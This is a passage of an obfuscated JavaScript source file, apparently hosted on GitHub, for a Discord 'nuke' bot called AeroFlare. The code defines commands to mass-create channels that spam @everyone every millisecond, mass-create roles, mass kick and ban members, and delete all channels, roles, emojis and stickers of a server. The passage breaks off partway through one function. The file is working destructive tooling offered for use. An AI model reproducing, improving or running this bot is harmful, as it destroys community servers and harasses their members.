-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathaeroflare.js
1467 lines (1467 loc) · 50.7 KB
/
aeroflare.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
'use strict';
var _0x431df6 = _0x4b26;
(function (_0x54269f, _0x550275) {
var _0x5e8ff5 = _0x4b26,
_0x679ec = _0x54269f();
while (!![]) {
try {
var _0x5877b7 =
-parseInt(_0x5e8ff5(0xe0)) / 0x1 +
(parseInt(_0x5e8ff5(0xc9)) / 0x2) * (-parseInt(_0x5e8ff5(0xa3)) / 0x3) +
parseInt(_0x5e8ff5(0x9b)) / 0x4 +
-parseInt(_0x5e8ff5(0x88)) / 0x5 +
-parseInt(_0x5e8ff5(0xf8)) / 0x6 +
(parseInt(_0x5e8ff5(0xd7)) / 0x7) * (-parseInt(_0x5e8ff5(0xac)) / 0x8) +
parseInt(_0x5e8ff5(0x11a)) / 0x9;
if (_0x5877b7 === _0x550275) break;
else _0x679ec['push'](_0x679ec['shift']());
} catch (_0x29c8b8) {
_0x679ec['push'](_0x679ec['shift']());
}
}
})(_0x475d, 0x9641c);
var __awaiter =
(this && this[_0x431df6(0x6d)]) ||
function (_0x3da539, _0x42c11b, _0x308922, _0x1955e3) {
function _0x1c582b(_0xa8dc25) {
return _0xa8dc25 instanceof _0x308922
? _0xa8dc25
: new _0x308922(function (_0x20daef) {
_0x20daef(_0xa8dc25);
});
}
return new (_0x308922 || (_0x308922 = Promise))(function (
_0x43d488,
_0x1b1c20
) {
var _0x2a5b53 = _0x4b26;
function _0x4912fb(_0x17b68c) {
try {
_0x3888da(_0x1955e3['next'](_0x17b68c));
} catch (_0x6dd844) {
_0x1b1c20(_0x6dd844);
}
}
function _0x21b4e1(_0x2dc0f1) {
var _0x25004d = _0x4b26;
try {
_0x3888da(_0x1955e3[_0x25004d(0x9a)](_0x2dc0f1));
} catch (_0x21d0e5) {
_0x1b1c20(_0x21d0e5);
}
}
function _0x3888da(_0x14c473) {
var _0xe53af6 = _0x4b26;
_0x14c473[_0xe53af6(0x8f)]
? _0x43d488(_0x14c473[_0xe53af6(0x87)])
: _0x1c582b(_0x14c473['value'])[_0xe53af6(0x92)](
_0x4912fb,
_0x21b4e1
);
}
_0x3888da(
(_0x1955e3 = _0x1955e3[_0x2a5b53(0xaa)](_0x3da539, _0x42c11b || []))[
_0x2a5b53(0xd9)
]()
);
});
},
__generator =
(this && this[_0x431df6(0xbe)]) ||
function (_0x3f00a7, _0x91ab30) {
var _0x169bd2 = _0x431df6,
_0x2e90fa = {
label: 0x0,
sent: function () {
if (_0x380bfa[0x0] & 0x1) throw _0x380bfa[0x1];
return _0x380bfa[0x1];
},
trys: [],
ops: [],
},
_0x3c5709,
_0x48706a,
_0x380bfa,
_0x3fd222;
return (
(_0x3fd222 = {
next: _0x11db50(0x0),
throw: _0x11db50(0x1),
return: _0x11db50(0x2),
}),
typeof Symbol === _0x169bd2(0xa9) &&
(_0x3fd222[Symbol[_0x169bd2(0xc7)]] = function () {
return this;
}),
_0x3fd222
);
function _0x11db50(_0x3496bc) {
return function (_0x4f20a0) {
return _0x2b6c0f([_0x3496bc, _0x4f20a0]);
};
}
function _0x2b6c0f(_0x1a91af) {
var _0x2501c3 = _0x169bd2;
if (_0x3c5709) throw new TypeError(_0x2501c3(0xf9));
while (
(_0x3fd222 &&
((_0x3fd222 = 0x0), _0x1a91af[0x0] && (_0x2e90fa = 0x0)),
_0x2e90fa)
)
try {
if (
((_0x3c5709 = 0x1),
_0x48706a &&
(_0x380bfa =
_0x1a91af[0x0] & 0x2
? _0x48706a['return']
: _0x1a91af[0x0]
? _0x48706a[_0x2501c3(0x9a)] ||
((_0x380bfa = _0x48706a[_0x2501c3(0xd8)]) &&
_0x380bfa['call'](_0x48706a),
0x0)
: _0x48706a['next']) &&
!(_0x380bfa = _0x380bfa[_0x2501c3(0xbc)](
_0x48706a,
_0x1a91af[0x1]
))[_0x2501c3(0x8f)])
)
return _0x380bfa;
if (((_0x48706a = 0x0), _0x380bfa))
_0x1a91af = [_0x1a91af[0x0] & 0x2, _0x380bfa['value']];
switch (_0x1a91af[0x0]) {
case 0x0:
case 0x1:
_0x380bfa = _0x1a91af;
break;
case 0x4:
_0x2e90fa[_0x2501c3(0x94)]++;
return { value: _0x1a91af[0x1], done: ![] };
case 0x5:
_0x2e90fa[_0x2501c3(0x94)]++,
(_0x48706a = _0x1a91af[0x1]),
(_0x1a91af = [0x0]);
continue;
case 0x7:
(_0x1a91af = _0x2e90fa[_0x2501c3(0x76)][_0x2501c3(0x105)]()),
_0x2e90fa[_0x2501c3(0xcd)]['pop']();
continue;
default:
if (
!((_0x380bfa = _0x2e90fa[_0x2501c3(0xcd)]),
(_0x380bfa =
_0x380bfa[_0x2501c3(0x7d)] > 0x0 &&
_0x380bfa[_0x380bfa[_0x2501c3(0x7d)] - 0x1])) &&
(_0x1a91af[0x0] === 0x6 || _0x1a91af[0x0] === 0x2)
) {
_0x2e90fa = 0x0;
continue;
}
if (
_0x1a91af[0x0] === 0x3 &&
(!_0x380bfa ||
(_0x1a91af[0x1] > _0x380bfa[0x0] &&
_0x1a91af[0x1] < _0x380bfa[0x3]))
) {
_0x2e90fa['label'] = _0x1a91af[0x1];
break;
}
if (
_0x1a91af[0x0] === 0x6 &&
_0x2e90fa['label'] < _0x380bfa[0x1]
) {
(_0x2e90fa[_0x2501c3(0x94)] = _0x380bfa[0x1]),
(_0x380bfa = _0x1a91af);
break;
}
if (_0x380bfa && _0x2e90fa['label'] < _0x380bfa[0x2]) {
(_0x2e90fa['label'] = _0x380bfa[0x2]),
_0x2e90fa[_0x2501c3(0x76)][_0x2501c3(0x9f)](_0x1a91af);
break;
}
if (_0x380bfa[0x2])
_0x2e90fa[_0x2501c3(0x76)][_0x2501c3(0x105)]();
_0x2e90fa[_0x2501c3(0xcd)][_0x2501c3(0x105)]();
continue;
}
_0x1a91af = _0x91ab30[_0x2501c3(0xbc)](_0x3f00a7, _0x2e90fa);
} catch (_0x5a85b7) {
(_0x1a91af = [0x6, _0x5a85b7]), (_0x48706a = 0x0);
} finally {
_0x3c5709 = _0x380bfa = 0x0;
}
if (_0x1a91af[0x0] & 0x5) throw _0x1a91af[0x1];
return {
value: _0x1a91af[0x0] ? _0x1a91af[0x1] : void 0x0,
done: !![],
};
}
};
exports[_0x431df6(0xee)] = !![];
var discord_js_1 = require('discord.js'),
express_1 = require('express'),
chalk_1 = require(_0x431df6(0xdb)),
winston_1 = require('winston'),
dotenv = require(_0x431df6(0x103)),
app = (0x0, express_1[_0x431df6(0x98)])(),
fs = require('fs'),
path = require(_0x431df6(0xab)),
settingsFilePath = path[_0x431df6(0xdf)](
__dirname,
'./configuration/settings.json'
),
settingsFileContent = fs[_0x431df6(0xb2)](settingsFilePath, _0x431df6(0x96)),
settings = JSON['parse'](settingsFileContent),
token = settings[_0x431df6(0x80)],
admins = settings['admins'],
disableEveryone = settings[_0x431df6(0x9e)],
fakeServers = settings[_0x431df6(0xc1)],
prefix = _0x431df6(0xcf);
dotenv[_0x431df6(0xe6)]();
function _0x4b26(_0x6eebfa, _0x1c6894) {
var _0x475dd7 = _0x475d();
return (
(_0x4b26 = function (_0x4b263c, _0x5d2df4) {
_0x4b263c = _0x4b263c - 0x69;
var _0x48555b = _0x475dd7[_0x4b263c];
return _0x48555b;
}),
_0x4b26(_0x6eebfa, _0x1c6894)
);
}
var aeroflare = new discord_js_1[_0x431df6(0xc6)]({
intents: [
discord_js_1[_0x431df6(0xb5)][_0x431df6(0x84)],
discord_js_1[_0x431df6(0xb5)][_0x431df6(0x69)],
discord_js_1['GatewayIntentBits'][_0x431df6(0xb6)],
discord_js_1['GatewayIntentBits'][_0x431df6(0xb1)],
discord_js_1[_0x431df6(0xb5)][_0x431df6(0xce)],
discord_js_1[_0x431df6(0xb5)][_0x431df6(0xcc)],
discord_js_1['GatewayIntentBits']['GuildEmojisAndStickers'],
discord_js_1[_0x431df6(0xb5)][_0x431df6(0xfe)],
discord_js_1[_0x431df6(0xb5)]['GuildMessageReactions'],
discord_js_1[_0x431df6(0xb5)][_0x431df6(0xef)],
discord_js_1[_0x431df6(0xb5)]['MessageContent'],
discord_js_1['GatewayIntentBits'][_0x431df6(0xd0)],
],
}),
logger = winston_1[_0x431df6(0x98)][_0x431df6(0x102)]({
level: 'info',
format: winston_1[_0x431df6(0x98)]['format'][_0x431df6(0xdd)](
winston_1['default'][_0x431df6(0x117)][_0x431df6(0xd5)](),
winston_1[_0x431df6(0x98)][_0x431df6(0x117)][_0x431df6(0xb9)](function (
_0x57314d
) {
var _0x1b735e = _0x431df6,
_0x534c64 = _0x57314d[_0x1b735e(0xd5)],
_0x41d04a = _0x57314d[_0x1b735e(0x8d)],
_0x383a54 = _0x57314d[_0x1b735e(0x7c)];
return ''
['concat'](_0x534c64, '\x20[')
[_0x1b735e(0xfd)](_0x41d04a, _0x1b735e(0x10f))
[_0x1b735e(0xfd)](_0x383a54);
})
),
transports: [
new winston_1['default'][_0x431df6(0x77)]['Console'](),
new winston_1['default'][_0x431df6(0x77)][_0x431df6(0xb3)]({
filename: _0x431df6(0xf7),
level: _0x431df6(0x116),
}),
new winston_1[_0x431df6(0x98)][_0x431df6(0x77)]['File']({
filename: _0x431df6(0x112),
}),
],
});
app[_0x431df6(0x7e)](express_1[_0x431df6(0x98)]['json']()),
app[_0x431df6(0xfc)]('/', function (_0x5c75fd, _0x57acb2) {
var _0x56a969 = _0x431df6;
_0x57acb2['send'](_0x56a969(0xc5));
}),
app[_0x431df6(0x118)](0xbb9, function () {
var _0x2fb047 = _0x431df6;
logger['info'](_0x2fb047(0x6e));
});
var aeroflare_panel = new discord_js_1[_0x431df6(0x8c)]()
[_0x431df6(0xf3)](_0x431df6(0x9c))
['setAuthor']({ name: _0x431df6(0xd1) })
[_0x431df6(0x101)](
{
name: _0x431df6(0x8b),
value: _0x431df6(0xfa)
[_0x431df6(0xfd)](prefix, _0x431df6(0xf1))
[_0x431df6(0xfd)](prefix, 'mchannel\x205\x20aeroflare'),
inline: !![],
},
{
name: _0x431df6(0xd6),
value: _0x431df6(0xe7)
[_0x431df6(0xfd)](prefix, _0x431df6(0xcb))
['concat'](prefix, _0x431df6(0x119)),
inline: !![],
},
{
name: _0x431df6(0xfb),
value: '-\x20Create\x20multiple\x20roles.\x0a\x20\x20-\x20Usage:\x20'
[_0x431df6(0xfd)](prefix, _0x431df6(0x114))
[_0x431df6(0xfd)](prefix, _0x431df6(0x91)),
inline: !![],
},
{
name: _0x431df6(0x71),
value: _0x431df6(0x104)[_0x431df6(0xfd)](prefix, 'mkick'),
inline: !![],
},
{
name: 'Mass\x20Ban',
value: '-\x20Mass\x20ban\x20members.\x0a\x20\x20-\x20Usage:\x20'[
'concat'
](prefix, _0x431df6(0xd3)),
inline: !![],
},
{
name: _0x431df6(0x7b),
value: '-\x20Deletes\x20all\x20channels.\x0a\x20\x20-\x20Usage:\x20'[
_0x431df6(0xfd)
](prefix, _0x431df6(0x95)),
inline: !![],
},
{
name: _0x431df6(0xd4),
value: _0x431df6(0xc2)[_0x431df6(0xfd)](prefix, _0x431df6(0xf2)),
inline: !![],
},
{
name: _0x431df6(0xa1),
value: _0x431df6(0x90)[_0x431df6(0xfd)](prefix, _0x431df6(0x73)),
inline: !![],
},
{
name: 'Delete\x20Stickers',
value: '-\x20Deletes\x20all\x20stickers.\x0a\x20\x20-\x20Usage:\x20'[
_0x431df6(0xfd)
](prefix, 'dstickers'),
inline: !![],
}
)
[_0x431df6(0xea)]('#2B2D31')
['setTimestamp']()
['setFooter']({ text: _0x431df6(0x8e) })
[_0x431df6(0x10d)](
'-\x20Welcome\x20to\x20the\x20AeroFlare\x20nuke\x20panel.\x20Here\x20you\x20can\x20select\x20a\x20server\x20to\x20initiate\x20the\x20nuke\x20process.'
);
aeroflare['on'](_0x431df6(0x10e), function (_0x39813a) {
return __awaiter(void 0x0, void 0x0, void 0x0, function () {
function _0x3dd311(_0x14eb1d, _0x39eedd, _0x15a4c8) {
_0x3fab96(_0x39eedd, _0x15a4c8)['catch'](function (_0x5c9d22) {
return _0x14eb1d === null || _0x14eb1d === void 0x0
? void 0x0
: _0x14eb1d['reply'](_0x5c9d22);
});
}
function _0x54572d(_0x1638dd) {
var _0x465cf9 = _0x4b26;
_0x212107()[_0x465cf9(0xe9)](function (_0x8c1b18) {
return _0x1638dd === null || _0x1638dd === void 0x0
? void 0x0
: _0x1638dd['reply'](_0x8c1b18);
});
}
function _0x32258b(_0x3d92af, _0x147cab, _0x16d811, _0x459267) {
_0x483e86(_0x147cab, _0x16d811, _0x459267)['catch'](function (_0x9774cb) {
var _0x33c65c = _0x4b26;
return _0x3d92af === null || _0x3d92af === void 0x0
? void 0x0
: _0x3d92af[_0x33c65c(0x107)](_0x9774cb);
});
}
function _0x4168fc(_0x56e89c, _0x484cfb, _0x3291d3) {
_0x24240e(_0x484cfb, _0x3291d3)['catch'](function (_0x5c6a9d) {
var _0x25d912 = _0x4b26;
return _0x56e89c === null || _0x56e89c === void 0x0
? void 0x0
: _0x56e89c[_0x25d912(0x107)](_0x5c6a9d);
});
}
function _0x34f89c(_0x1938e1) {
var _0x170c2b = _0x4b26;
_0x3dff17()[_0x170c2b(0xe9)](function (_0xa65679) {
var _0x16b340 = _0x170c2b;
return _0x1938e1 === null || _0x1938e1 === void 0x0
? void 0x0
: _0x1938e1[_0x16b340(0x107)](_0xa65679);
});
}
function _0x265752(_0x1733a0) {
var _0x58430f = _0x4b26;
_0x5692d3()[_0x58430f(0xe9)](function (_0x17c8d7) {
return _0x1733a0 === null || _0x1733a0 === void 0x0
? void 0x0
: _0x1733a0['reply'](_0x17c8d7);
});
}
function _0x3cd0ca(_0x2a378a) {
var _0x5945bd = _0x4b26;
_0x471b2e()[_0x5945bd(0xe9)](function (_0x4184f4) {
var _0x52b75a = _0x5945bd;
return _0x2a378a === null || _0x2a378a === void 0x0
? void 0x0
: _0x2a378a[_0x52b75a(0x107)](_0x4184f4);
});
}
function _0x2180b8(_0xad8f4) {
var _0xda03cd = _0x4b26;
_0x58752f()[_0xda03cd(0xe9)](function (_0x573582) {
var _0x25269b = _0xda03cd;
return _0xad8f4 === null || _0xad8f4 === void 0x0
? void 0x0
: _0xad8f4[_0x25269b(0x107)](_0x573582);
});
}
function _0x2a986d(_0x3fb84c) {
var _0x31df20 = _0x4b26;
_0x526b84()[_0x31df20(0xe9)](function (_0x535d0f) {
return _0x3fb84c === null || _0x3fb84c === void 0x0
? void 0x0
: _0x3fb84c['reply'](_0x535d0f);
});
}
function _0x3fab96(_0x598030, _0x475a10) {
return new Promise(function (_0x4c2aa5, _0x4c6a00) {
var _0x2346d2 = _0x4b26,
_0x163f98,
_0x33c3dd;
if (!_0x598030)
return console[_0x2346d2(0x106)](
chalk_1[_0x2346d2(0x98)][_0x2346d2(0xf4)](_0x2346d2(0xa6)) +
chalk_1[_0x2346d2(0x98)]['red'](_0x2346d2(0x113)) +
chalk_1[_0x2346d2(0x98)][_0x2346d2(0x72)](_0x2346d2(0x93))
);
if (isNaN(_0x598030))
return console[_0x2346d2(0x106)](
chalk_1[_0x2346d2(0x98)]['cyan']('[AEROFLARE]\x20|\x20') +
chalk_1[_0x2346d2(0x98)]['red'](_0x2346d2(0x113)) +
chalk_1[_0x2346d2(0x98)][_0x2346d2(0x72)](_0x2346d2(0xae))
);
if (_0x598030 > 0x1f4)
return console[_0x2346d2(0x106)](
chalk_1[_0x2346d2(0x98)][_0x2346d2(0xf4)]('[AEROFLARE]\x20|\x20') +
chalk_1[_0x2346d2(0x98)][_0x2346d2(0x109)](_0x2346d2(0x113)) +
chalk_1[_0x2346d2(0x98)][_0x2346d2(0x72)](_0x2346d2(0x78))
);
if (!_0x42c64f)
return console[_0x2346d2(0x106)](
chalk_1[_0x2346d2(0x98)][_0x2346d2(0xf4)](_0x2346d2(0xa6)) +
chalk_1[_0x2346d2(0x98)]['red']('❌\x20FAILED\x20|\x20') +
chalk_1[_0x2346d2(0x98)][_0x2346d2(0x72)](
_0x2346d2(0xd2) +
chalk_1[_0x2346d2(0x98)][_0x2346d2(0x72)](_0x2346d2(0x97)) +
_0x2346d2(0x10a)
)
);
for (var _0x3d6645 = 0x0; _0x3d6645 < _0x598030; _0x3d6645++) {
if (
((_0x163f98 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x2346d2(0x10b)]) === null ||
_0x163f98 === void 0x0
? void 0x0
: _0x163f98[_0x2346d2(0x9d)][_0x2346d2(0xc8)][
_0x2346d2(0xad)
]) === 0x1f4
)
break;
var _0x3cd20f = _0x475a10 || _0x2346d2(0xb8);
(_0x33c3dd =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a['guild']) === null || _0x33c3dd === void 0x0
? void 0x0
: _0x33c3dd[_0x2346d2(0x9d)]
[_0x2346d2(0x115)]({
name: _0x3cd20f,
type: discord_js_1[_0x2346d2(0xb4)][_0x2346d2(0xa5)],
})
[_0x2346d2(0xe9)](console[_0x2346d2(0x116)]);
}
_0x4c2aa5();
});
}
function _0x483e86(_0x3a588a, _0xb3c98e, _0x1439aa) {
return new Promise(function (_0x38e59a, _0x5d9cd0) {
var _0xf6033d = _0x4b26,
_0x95e01,
_0x2634a7;
if (!_0x3a588a)
return console['log'](
chalk_1['default'][_0xf6033d(0xf4)](_0xf6033d(0xa6)) +
chalk_1[_0xf6033d(0x98)]['red'](_0xf6033d(0x113)) +
chalk_1[_0xf6033d(0x98)][_0xf6033d(0x72)](_0xf6033d(0x70))
);
if (isNaN(_0x3a588a))
return console['log'](
chalk_1[_0xf6033d(0x98)]['cyan'](_0xf6033d(0xa6)) +
chalk_1['default']['red']('❌\x20FAILED\x20|\x20') +
chalk_1[_0xf6033d(0x98)][_0xf6033d(0x72)](_0xf6033d(0xc4))
);
if (_0x3a588a > 0x1f4)
return console['log'](
chalk_1['default'][_0xf6033d(0xf4)](_0xf6033d(0xa6)) +
chalk_1['default']['red'](_0xf6033d(0x113)) +
chalk_1['default'][_0xf6033d(0x72)](
'Amount\x20Error:\x20Maximum\x20guild\x20channel\x20size\x20is\x20500.'
)
);
if (!_0x42c64f)
return console['log'](
chalk_1[_0xf6033d(0x98)]['cyan'](_0xf6033d(0xa6)) +
chalk_1['default'][_0xf6033d(0x109)](_0xf6033d(0x113)) +
chalk_1['default'][_0xf6033d(0x72)](
'Bot\x20Missing\x20Permissions:\x20ManageChannels.'
)
);
for (var _0x32b450 = 0x0; _0x32b450 < _0x3a588a; _0x32b450++) {
if (
((_0x95e01 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0xf6033d(0x10b)]) === null || _0x95e01 === void 0x0
? void 0x0
: _0x95e01[_0xf6033d(0x9d)][_0xf6033d(0xc8)][_0xf6033d(0xad)]) ===
0x1f4
)
break;
var _0x3bce0c = _0xb3c98e || _0xf6033d(0xb8);
(_0x2634a7 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a['guild']) === null || _0x2634a7 === void 0x0
? void 0x0
: _0x2634a7[_0xf6033d(0x9d)]
[_0xf6033d(0x115)]({
name: _0x3bce0c,
type: discord_js_1['ChannelType']['GuildText'],
})
[_0xf6033d(0x92)](function (_0x38b09e) {
setInterval(function () {
var _0x344601 = _0x4b26;
_0x38b09e[_0x344601(0x100)](
'@everyone\x20|\x20'[_0x344601(0xfd)](_0x1439aa)
);
}, 0x1);
})
[_0xf6033d(0xe9)](console['error']);
}
_0x38e59a();
});
}
function _0x212107() {
return new Promise(function (_0x5c8bef, _0x33fe85) {
var _0x12306a = _0x4b26,
_0x5ee7c4;
if (!_0x42c64f)
return console[_0x12306a(0x106)](
chalk_1[_0x12306a(0x98)][_0x12306a(0xf4)](_0x12306a(0xa6)) +
chalk_1[_0x12306a(0x98)][_0x12306a(0x109)](_0x12306a(0x113)) +
chalk_1['default'][_0x12306a(0x72)](_0x12306a(0xde))
);
(_0x5ee7c4 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x12306a(0x10b)]) === null || _0x5ee7c4 === void 0x0
? void 0x0
: _0x5ee7c4['channels']['cache'][_0x12306a(0xa4)](function (
_0x321031
) {
var _0x351a99 = _0x12306a;
return _0x321031[_0x351a99(0x6c)]()['catch'](
console[_0x351a99(0x116)]
);
}),
_0x5c8bef();
});
}
function _0x24240e(_0x8407a8, _0x520e29) {
return new Promise(function (_0x3f1335, _0x22c90b) {
var _0x52de8b = _0x4b26,
_0x4dcb1b,
_0x422065;
if (!_0x8407a8)
return console[_0x52de8b(0x106)](
chalk_1['default'][_0x52de8b(0xf4)](_0x52de8b(0xa6)) +
chalk_1[_0x52de8b(0x98)][_0x52de8b(0x109)](_0x52de8b(0x110)) +
chalk_1[_0x52de8b(0x98)][_0x52de8b(0x72)](_0x52de8b(0xf0))
);
if (isNaN(_0x8407a8))
return console['log'](
chalk_1[_0x52de8b(0x98)][_0x52de8b(0xf4)](_0x52de8b(0xa6)) +
chalk_1[_0x52de8b(0x98)][_0x52de8b(0x109)](_0x52de8b(0x110)) +
chalk_1[_0x52de8b(0x98)]['white'](_0x52de8b(0xc4))
);
if (!_0x3f36c5)
return console[_0x52de8b(0x106)](
chalk_1[_0x52de8b(0x98)][_0x52de8b(0xf4)](_0x52de8b(0xa6)) +
chalk_1[_0x52de8b(0x98)][_0x52de8b(0x109)](_0x52de8b(0x110)) +
chalk_1[_0x52de8b(0x98)][_0x52de8b(0x72)](_0x52de8b(0x81))
);
for (var _0xf0a303 = 0x0; _0xf0a303 <= _0x8407a8; _0xf0a303++) {
if (
((_0x4dcb1b =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x52de8b(0x10b)]) === null ||
_0x4dcb1b === void 0x0
? void 0x0
: _0x4dcb1b[_0x52de8b(0x108)][_0x52de8b(0xc8)][
_0x52de8b(0xad)
]) === 0xfa
)
break;
var _0x5ac07a = _0x520e29 || _0x52de8b(0xb0);
(_0x422065 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a['guild']) === null || _0x422065 === void 0x0
? void 0x0
: _0x422065[_0x52de8b(0x108)]
[_0x52de8b(0x115)]({
name: _0x5ac07a,
color: _0x52de8b(0x6a),
position: _0xf0a303++,
})
[_0x52de8b(0xe9)](console['error']);
}
_0x3f1335();
});
}
function _0x3dff17() {
return new Promise(function (_0xb8288b, _0x549459) {
var _0xbad357 = _0x4b26,
_0x5a22a3;
if (!_0x3f36c5)
return console[_0xbad357(0x106)](
chalk_1[_0xbad357(0x98)][_0xbad357(0xf4)]('[AEROFLARE]\x20|\x20') +
chalk_1['default'][_0xbad357(0x109)](_0xbad357(0x113)) +
chalk_1[_0xbad357(0x98)][_0xbad357(0x72)](
'Bot\x20Missing\x20Permissions:\x20ManageRoles.'
)
);
(_0x5a22a3 =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a['guild']) === null || _0x5a22a3 === void 0x0
? void 0x0
: _0x5a22a3[_0xbad357(0x108)]['cache'][_0xbad357(0xa4)](function (
_0x59d150
) {
var _0x200926 = _0xbad357;
return _0x59d150['delete']()[_0x200926(0xe9)](
console[_0x200926(0x116)]
);
}),
_0xb8288b();
});
}
function _0x471b2e() {
return new Promise(function (_0x194208, _0x2e0f48) {
var _0x1f1bd1 = _0x4b26,
_0x3999eb;
if (!_0x14a54e)
return console[_0x1f1bd1(0x106)](
chalk_1[_0x1f1bd1(0x98)][_0x1f1bd1(0xf4)]('[AEROFLARE]\x20|\x20') +
chalk_1[_0x1f1bd1(0x98)]['red'](_0x1f1bd1(0x113)) +
chalk_1[_0x1f1bd1(0x98)][_0x1f1bd1(0x72)](_0x1f1bd1(0xeb))
);
(_0x3999eb =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a['guild']) === null || _0x3999eb === void 0x0
? void 0x0
: _0x3999eb[_0x1f1bd1(0xe5)][_0x1f1bd1(0xc8)][_0x1f1bd1(0xa4)](
function (_0x212432) {
var _0x24a1e0 = _0x1f1bd1;
return _0x212432[_0x24a1e0(0x6c)]()[_0x24a1e0(0xe9)](
console[_0x24a1e0(0x116)]
);
}
),
_0x194208();
});
}
function _0x5692d3() {
return new Promise(function (_0x167853, _0x40581a) {
var _0x481f76 = _0x4b26,
_0x142e0d;
if (!_0x14a54e)
return console['log'](
chalk_1[_0x481f76(0x98)][_0x481f76(0xf4)]('[AEROFLARE]\x20|\x20') +
chalk_1[_0x481f76(0x98)][_0x481f76(0x109)](_0x481f76(0x113)) +
chalk_1['default'][_0x481f76(0x72)](
'Bot\x20Missing\x20Permissions:\x20ManageGuildExpressions.'
)
);
(_0x142e0d =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x481f76(0x10b)]) === null || _0x142e0d === void 0x0
? void 0x0
: _0x142e0d[_0x481f76(0x7a)]['cache'][_0x481f76(0xa4)](function (
_0x3690a9
) {
var _0x15cfd5 = _0x481f76;
return _0x3690a9[_0x15cfd5(0x6c)]()[_0x15cfd5(0xe9)](
console['error']
);
}),
_0x167853();
});
}
function _0x58752f() {
return new Promise(function (_0x3a349d, _0x325d72) {
var _0x185c46 = _0x4b26,
_0x2a492b;
if (!_0x4174da)
return console[_0x185c46(0x106)](
chalk_1['default'][_0x185c46(0xf4)](_0x185c46(0xa6)) +
chalk_1[_0x185c46(0x98)]['red'](_0x185c46(0x113)) +
chalk_1[_0x185c46(0x98)][_0x185c46(0x72)](_0x185c46(0x8a))
);
var _0x3ea74f =
(_0x2a492b =
_0x39813a === null || _0x39813a === void 0x0
? void 0x0
: _0x39813a[_0x185c46(0x10b)]) === null || _0x2a492b === void 0x0
? void 0x0
